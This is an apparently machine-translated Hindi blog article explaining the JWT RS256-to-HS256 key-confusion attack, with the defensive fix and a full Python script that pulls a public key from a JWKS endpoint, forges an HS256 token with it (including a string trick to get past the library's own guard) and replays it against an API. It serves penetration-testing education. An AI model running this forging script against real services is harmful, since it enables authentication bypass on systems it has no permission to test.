JWT: डिजिटल सिग्नेचर अटैक VS मैक अटैक

सभी को नमस्कार। यह कोई रहस्य नहीं है कि हर महीने OTUS ने कई पूरी तरह से नए और अनूठे पाठ्यक्रम शुरू किए हैं, इस महीने का पेंटेस्ट। प्रवेश परीक्षण अभ्यास । " एक अच्छी तरह से स्थापित परंपरा के अनुसार, पाठ्यक्रम की शुरुआत की पूर्व संध्या पर, हम आपके साथ इस दिशा में उपयोगी सामग्री का अनुवाद साझा कर रहे हैं।

---

आखिरी पंचक के दौरान, मैं JSON वेब टोकन (या सिर्फ JWT) पर आधारित एक प्राधिकरण योजना के पार आया। JWT में तीन भाग होते हैं: हेडर, पेलोड, सत्यापन जानकारी। शीर्ष लेख के पहले भाग में एल्गोरिथ्म का नाम होता है, जिसका उपयोग बाद में JWT के सत्यापन भाग के लिए किया जाएगा। यह खतरनाक है क्योंकि एक हमलावर इस जानकारी को संशोधित कर सकता है और इस प्रकार (संभवतः) नियंत्रण जो योजना सत्यापन के लिए सर्वर का उपयोग करेगा।

आमतौर पर दो सर्किट का उपयोग किया जाता है: RS256 ( डिजिटल सिग्नेचर एल्गोरिथम ) और HS256 ( मैक आधारित एल्गोरिथम )। एक पूरी तरह से असुरक्षित विकल्प एक NULL योजना होगी: सत्यापन जानकारी को बिल्कुल भी शामिल न करें - दुर्भाग्य से NULL योजना को लक्ष्य वेब सर्वर द्वारा स्वीकार नहीं किया गया था।

JWT type confusion अटैक पर एक छोटी सी भिन्नता, जो काम कर सकती है यदि सर्वर इंप्लीमेंटेशन लाइब्रेरी का उपयोग करता है, जो केवल वेरिफिकेशन (टोकन, की) जैसे कोड को कॉल करता है और मानता है कि केवल डिजिटल हस्ताक्षरित टोकन का उपयोग किया जाएगा। इस स्थिति में, दूसरा पैरामीटर "कुंजी" हमेशा सार्वजनिक रहेगा और सत्यापन के लिए प्रस्तुत किया जाएगा (डिजिटल हस्ताक्षर हस्ताक्षर बनाने के लिए निजी कुंजी का उपयोग करते हैं और बनाई गई हस्ताक्षर को सत्यापित करने के लिए संबंधित सार्वजनिक कुंजी)।

अब हमलावर सार्वजनिक कुंजी प्राप्त कर सकता है, एक नया मैक-आधारित टोकन बना सकता है और इसका उपयोग इस टोकन के सत्यापन का हिस्सा बनाने के लिए कर सकता है। मैक-आधारित योजना में, सत्यापन जानकारी बनाने के लिए केवल एक गुप्त कुंजी की आवश्यकता होती है, और इस प्रकार हमलावर मैक के लिए एक गुप्त कुंजी के रूप में एक सार्वजनिक कुंजी (डिजिटल हस्ताक्षर) का उपयोग करता है। यदि यह टोकन अब सत्यापन के लिए सर्वर को पास कर दिया गया है, तो पुस्तकालय उस योजना की पहचान करता है जिसका उपयोग टोकन के लिए किया जाएगा (जो कि मैक योजना की ओर इशारा करते हुए एचएस 256 के रूप में हमलावर द्वारा निर्धारित किया गया था)। मैक बनाने के लिए इनपुट के रूप में लाइब्रेरी दूसरे पैरामीटर का उपयोग करेगी। चूंकि यह एक सार्वजनिक कुंजी है, इसलिए नए मैक मैक से मेल खाता है जो हमलावरों को प्रेषित किया गया था, और चूंकि वे मेल खाते हैं, सर्वर एक नकली टोकन स्वीकार करेगा। फिर, एप्लिकेशन डेवलपर को क्या करना चाहिए? यदि टोकन सर्वर द्वारा स्वीकार किया जाता है, तो सर्वर को हमेशा यह जांचना चाहिए कि क्या एल्गोरिथ्म का उपयोग उस से मेल खाता है जो मूल रूप से डेवलपर द्वारा योजना बनाई गई थी।

सैद्धांतिक रूप से, यह सत्यापित करना आसान होना चाहिए, लेकिन मुझे एक काम करने वाला उपकरण नहीं मिला। इसलिए, मैंने खुद एक अजगर स्क्रिप्ट लिखी। इसका उपयोग करने के लिए, स्रोत कोड में आपको निम्नलिखित कॉन्फ़िगरेशन का उपयोग करना होगा:

• jwks_url : मुझे सार्वजनिक कुंजी के बारे में जानकारी कहां मिल सकती है। JWKS का उपयोग कई सेवाओं द्वारा खुले तौर पर महत्वपूर्ण जानकारी को वितरित करने के लिए किया जाता है।
• operation_url : एक HTTP GET अनुरोध जो प्राधिकरण के लिए JWT टोकन का उपयोग करता है।
• token : एक कॉन्फ़िगर किए गए ऑपरेशन के लिए एक वैध JWT।
• audience : वह ऑडियंस जिसके लिए टोकन कॉन्फ़िगर किया गया था।

स्क्रिप्ट निम्न कार्य करती है:

• JWKS कॉन्फ़िगरेशन फ़ाइल डाउनलोड करें और सार्वजनिक कुंजी सेटिंग्स पुनः प्राप्त करें। इससे, एक पेम प्रतिनिधित्व बनाया जाता है।
• सुनिश्चित करता है कि निकाले गए सार्वजनिक कुंजी का उपयोग करके कॉन्फ़िगर टोकन को सत्यापित किया जा सकता है;
• एक मान्य टोकन के साथ एक कॉन्फ़िगर किया गया ऑपरेशन करता है और प्राप्त HTTP स्थिति कोड और परिणामी दस्तावेज़ दिखाता है (यह माना जाता है कि यह बिटसन होगा)।
• कॉन्फ़िगर के आधार पर एक नया टोकन बनाता है। नए टोकन में, प्रकार को HS256 में बदल दिया जाएगा; एक मैक (एक खुली कुंजी के आधार पर) की गणना की जाएगी और टोकन के लिए सत्यापन जानकारी के रूप में उपयोग किया जाएगा।
• संशोधित टोकन के साथ कॉन्फ़िगर किए गए ऑपरेशन को फिर से करें और HTTP स्थिति कोड, साथ ही लौटे दस्तावेज़ को प्रदर्शित करें।

चूंकि रिटर्न स्टेटस कोड (एक संशोधित टोकन के साथ) 401 था (प्राधिकरण निषिद्ध है), लक्ष्य सर्वर के पक्ष में प्राधिकरण जांच काम करता है, और इस प्रकार, यह हस्ताक्षर-बनाम-मैक हमले से समझौता नहीं किया गया था। यदि यह काम करता है, तो समान स्थिति कोड और समान परिणामी दस्तावेज दोनों HTTP कॉल (मूल के साथ-साथ संशोधित टोकन के साथ) बनाए जाएंगे।

मुझे आशा है कि यह लेख आपको अपने अभ्यास में मदद करता है, अजगर स्क्रिप्ट का आनंद के साथ उपयोग करें:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

वह सब है। हम उन सभी की प्रतीक्षा कर रहे हैं जिन्होंने इस विषय पर एक मुफ्त वेबिनार में अंत तक पढ़ा है: "वेब पर बग कैसे सुलझाना शुरू करें । "